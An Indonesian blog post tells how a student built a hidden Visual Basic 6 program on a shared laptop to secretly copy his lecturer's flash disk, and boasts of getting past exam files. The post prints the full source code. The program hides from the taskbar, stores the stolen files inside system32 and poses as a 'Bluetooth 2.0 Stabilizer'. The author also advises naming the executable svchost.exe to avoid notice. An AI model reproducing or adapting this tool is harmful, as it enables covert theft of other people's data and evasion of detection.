Home / Unlabelled / Membuat Program Pembajak Isi Flash Disk

Membuat Program Pembajak Isi Flash Disk

Posted by the moon air Sabtu, 07 Juli 2012 0 komentar

Waktu sedang mengikuti kuliah Ilmu Penyakit Dalam, pikiranku melayang membayangkan ada sepiring

nasi soto plus segelas air es didepanku, maklum sebagai ‘mahasiwa’ perantauan seperti diriku ini selalu

hidup ‘dibawah garis kemiskinan’, hehe. Dengan santai kututup catatan kuliah dan asyik melamun, “

Toh ada slide power point dosen yang bisa dicopy “ Pikirku.

Setelah kuliah selesai, waduh coloko Rek ! Dosennya gak mau memberi copy slide kuliah, padahal

berdasarkan bocoran informasi dari kakak kelas semua soal ujian keluarnya dari situ,,,, Waduh gimana

nih, pikiran Nasi soto plus air es langsung mengkerut kayak kerupuk disiram air. Akupun langsung

mengutuki diri kenapa tadi gak dengerin penjelasan dosen waktu kuliah.

Sesampai dirumah sambil nyeruput segelas susu anget aku merenung kok jadi dosen pelit amat,

bukannya ilmu itu harus diamalkan ???

Tiba-tiba pikiran nakalku bekerja kalo gak boleh diminta baek-baek gimana kalo diminta secara tidak

baek aja ? Dengan semangat 2012 aku cabut ke warnet terdekat untuk googling program pengcopy

data flash disk semacam “Rampok” atau “USB Dumper” . Setelah beberapa saat berkutat akhirnya

ketemu juga, akupun pulang dengan siul-siul cempreng, sesampai dikontrakan kucoba programnya dan

ternyata bekerja dengan baik, hehe tau rasa ni dosen batinku, keesokan harinya aku memasang

program ini di laptop kampus, olala ternyata “USB Dumper” terdeteksi sebagai trojan, wah dasar

ceroboh komputer titipan orang tuaku kan tidak pakai antivirus, Cuma pakai “Si Beruang” aja.

Harapanku tertuju pada program “Rampok” , wah rupanya tray icon dari program ini terlalu mencolok

dan bikin orang curiga dan biarpun udah diubah tampilan iconnya pakai “resource hacker” tetap aja

kembali kayak semula, gimana nih ? Gagal total deh, ...

Ide Usil

Sesampai dikontrakan sambil berpikir aku Iseng bongkar-bongkar arsip proyek visual basic, maklum dulu

pengennya masuk TI supaya bisa jadi Hacker eh nasib malah menjadikan aku seorang dokter, (ups maaf

masih calon). Gak papa lah kan keduanya sama-sama mengandung kata “er”, kalo hacker ngoprek

komputer lha kalo dokter ngoprek orang yang lagi klenger, hehe.

Ketika sampai pada folder arsip virus, aku ingat kalo salah satu rutin dari virus buatanku adalah

mendeteksi adanya flash disk sebagai media penyebaran, otakku yang biasanya pas-pasan mendadak

jadi encer, nah ini dia, dengan sedikit improvisasi plus tambal sulam code yang kucari di internet

akhirnya jadilah mikrokaryaku ini , soalnya kalo disebut mahakarya gak pantes karena ini Cuma hasil

iseng dari seorang script kiddies amatiran kayak Saya, he..

Baiklah saudara, kita persiapkan peralatan operasi....

1. Air bening + Gula pasir dalam gelas, soalnya otak itu paling jago kalau suruh nyedot energi, jadi

untuk energi yang instan minum air gula lumayan sip.

2. Kipas angin buat pengusir nyamuk, maklum saya sedikit kurang fanatik ama obat nyamuk.

3. Buku Ajar Ilmu Penyakit Dalam terbitan FKUI untuk penyemangat sekaligus sebagai alas Mouse optik,

hehe.

4. Visual Basic 6.0

5. Susu kental manis

6. Mobile Phone, sapa tau ada fans yang nelpon, hehe..

Baiklah kita mulai Operasinya, Buka visual basic buat satu form, dua rich text box, satu picture box, dan

satu timer kemudian ubah “show In Taskbar” menjadi false, ubah kedua nama rich text box menjadi

“RTF” dan “USB_Letter” , ubah nama picture box menjadi “TrayIcon” klik dan tuliskan code berikut “

==================================== code ==========================================

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String,

ByVal nSize As Long) As Long

Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal

lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long,

lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal

lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Private Const MAX_FILENAME_LEN = 256

Private Declare Function GetDriveType Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Dim Folder_Name As String

Dim Drives(14) As String, x As Long

Dim USB_Drv As String

Dim C As Byte, I As Byte

Dim Copy_Progress As Boolean

Dim File As New FileSystemObject 'Syarat dari mbah dukun, hehe....

Dim DD As String, OLD_USB As Long, NEW_USB As Long

Private Type NOTIFYICONDATA

cbSize As Long

hWnd As Long

uId As Long

uFlags As Long

ucallbackMessage As Long

hIcon As Long

szTip As String * 64

End Type

Private Const NIM_ADD = &H0

Private Const NIM_MODIFY = &H1

Private Const NIF_MESSAGE = &H1

Private Const NIF_ICON = &H2

Private Const NIF_TIP = &H4

Private Const WM_LBUTTONDOWN = &H201

Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As

NOTIFYICONDATA) As Boolean

Dim TrayI As NOTIFYICONDATA

Private Sub Form_Load()

On Error Resume Next

'Bikin selalu minimized supaya gak kelihatan

Me.WindowState = vbMinimized

Copy_Progress = False

'Gak kelihatan di task

App.TaskVisible = False

Call USB_Copy

'Masang Tray icon

TrayI.cbSize = Len(TrayI)

TrayI.hWnd = TrayIcon.hWnd

TrayI.uId = 1&

TrayI.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE

TrayI.ucallbackMessage = WM_LBUTTONDOWN

TrayI.hIcon = Me.Icon

'Bikin Tool tips Text

TrayI.szTip = "Bluetooth 2.0 Stabilizer" & Chr$(0)

'Membuat Tray Icon

Shell_NotifyIcon NIM_ADD, TrayI

Timer1.Enabled = True

End Sub

Private Sub USB_Copy()

On Error Resume Next

Folder_Name = Date & "_" & Time

RTF.Text = Folder_Name

Call FindIt(RTF, "/", "-")

Call FindIt(RTF, " ", vbNullString)

Call FindIt(RTF, ":", vbNullString)

'Bikin folder di system32 windows supaya gak ketahuan

Folder_Name = GetSystemPath & RTF.Text & "\"

For I = 68 To 80

C = C + 1

Drives(C) = Chr(I) & ":"

Next I

For I = 1 To 13

If GetDriveType(Drives(I)) = 2 Then

USB_Drv = Drives(I) & "\*"

USB_Letter.Text = Drives(I)

Call FindIt(USB_Letter, ":", vbNullString)

DD = USB_Letter.Text

'Deteksi serial USB supaya tidak terjadi double copy

NEW_USB = DriveSerial(DD)

If NEW_USB <> OLD_USB Or OLD_USB = 0 Then

Copy_Progress = True

'Ubah tray icon sebagai penanda bahwa proses pembajakan USB sedang berlangsung

TrayI.hIcon = TrayIcon.Picture

Shell_NotifyIcon NIM_MODIFY, TrayI

File.CreateFolder Folder_Name

File.CopyFolder USB_Drv, Folder_Name

DoEvents

USB_Drv = USB_Drv & "*.*"

File.CopyFile USB_Drv, Folder_Name

'Kerjain tugas dulu baru lanjut kebawahnya

DoEvents

MousePointer = vbDefault

'Kalo USB - nya udah pernah dicopy abaikan aja..

OLD_USB = NEW_USB

Copy_Progress = False

TrayI.hIcon = Me.Icon

Shell_NotifyIcon NIM_MODIFY, TrayI

End If

Else

USB_Drv = vbNullString

Copy_Progress = False

End If

Next I

End Sub

Private Function FindIt(Box As RichTextBox, Srch As String, RplcTxt As String, Optional Start As Long) As Variant

On Error Resume Next

Dim RetVal As Long

Dim Source As String

Source = Box.Text

If Start = 0 Then Start = 1

RetVal = InStr(Start, Source, Srch)

If RetVal <> 0 Then

With Box

.SelStart = RetVal - 1

.SelLength = Len(Srch)

.SelBold = True

.SelText = RplcTxt

End With

Start = RetVal + Len(Srch)

FindIt = 1 + FindIt(Box, Srch, RplcTxt, Start)

End If

End Function

'’Fungsi mendapatkan serial drive

Private Function DriveSerial(ByVal sDrv As String) As Long

On Error Resume Next

Dim RetVal As Long

Dim str As String * MAX_FILENAME_LEN

Dim str2 As String * MAX_FILENAME_LEN

Dim a As Long

Dim b As Long

Call GetVolumeInformation(sDrv & ":\", str, MAX_FILENAME_LEN, RetVal, a, b, str2, MAX_FILENAME_LEN)

DriveSerial = RetVal

End Function

‘Fungsi mencari System Path

Private Function GetSystemPath() As String

On Error Resume Next

Dim Buffer As String * 255

Dim x As Long

x = GetSystemDirectory(Buffer, 255)

GetSystemPath = Left$(Buffer, x) & "\"

End Function

====================================================================================

Klik di timer, sett intervalnya menjadi 1000 kemudian ketikkan code berikut :

================================= code========================================

Private Sub Timer1_Timer()

If Copy_Progress = False Then

C = 0

x = 0

NEW_USB = 0

Call USB_Copy

End If

End Sub

Jangan lupa mengisi picture box dengan gambar yang akan jadi penanda saat program menjalankan

tugas mengcopy isi flash disk dan format gambarnya harus icon.Ini contoh icon yang saya pakai dalam

program. Setelah selesai mengcompilasi programnya jangan lupa untuk memberi nama executablenyadengan nama unik semisal, link.exe,

svchost.exe, atau nama-nama lain yang sering ada di task manager kemudian sebagai finishing touch ubah propertiesnya, saudara tentu lebijh ahli dalam hal ini. Program ini

hanya bisa dimatikan melalui task manager. Jangan lupa untuk menyertakan file “RICHTX32.OCX”dan “COMDLG32.OCX” (kedua file

terdapat di system32 di directory windows) supaya program bisa berjalan dengan normal, atau bisa juga

dipack menjadi satu dengan menggunakan “molebox”, programnya cari sendiri ya !

Last Scene

Setelah operasi selesai, dengan senyum-senyum aku tiduran dikontrakan, keesokan darinya Aku datang

pagi-pagi sekali untuk memasang jebakan ini. Dengan semangat 2012 aku mengcopy program ini di

directory windows, dengan dua kali klik kupastikan tray icon muncul dan akupun duduk dengan tenang

dibelakang sambil membayangkan semangkuk soto plus air es, maklum gara-gara datang pagi jadi gak

sempat sarapan apalagi mengingat predikatku sebagai “ Mahasiwa”, hehe.......

Sepulang kuliah kucari hasil pembajakanku di system32 di directory windows, dan akupun tersenyum

puas, seluruh isi flash disk dosen masuk didalamnya, dan rupanya keberuntunganku tidak sampai disitu,

didalamnya ada file-file soal tahun lalu dalam format ms.word. Wah lumayan nih.

Kalimat “Tiap orang punya kelemahan” ternyata benar, beliau memang ahli dalam mendiagnosa dan

memberikan terapi terhadap penyakit, tetapi dalam urusan mengakali tentulah kami atau kita sebagai

“Mahasiwa” yang lebih jago, hehe. Maapin Saya ya Dok !! Saya janji akan menjadi dokter yang baik

kelak.

Akhir kata, jangan pernah menyimpan data confidental di flash disk yang sering dipakai untuk

mengcopy data dari komputer lain.

Para master programmer yang membaca artikel ini pasti senyum-senyum, maklum Bang saya cuma

seorang script kiddies.

Description: Membuat Program Pembajak Isi Flash Disk
Rating: 5
Reviewer: 98827 ulasan
Item Reviewed: Membuat Program Pembajak Isi Flash Disk

TERIMA KASIH ATAS KUNJUNGAN SAUDARA

Judul: Membuat Program Pembajak Isi Flash Disk
Ditulis oleh the moon air
Rating Blog 5 dari 5

Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke http://themoonair.blogspot.com/2012/07/membuat-program-pembajak-isi-flash-disk.html. Terima kasih sudah singgah membaca artikel ini.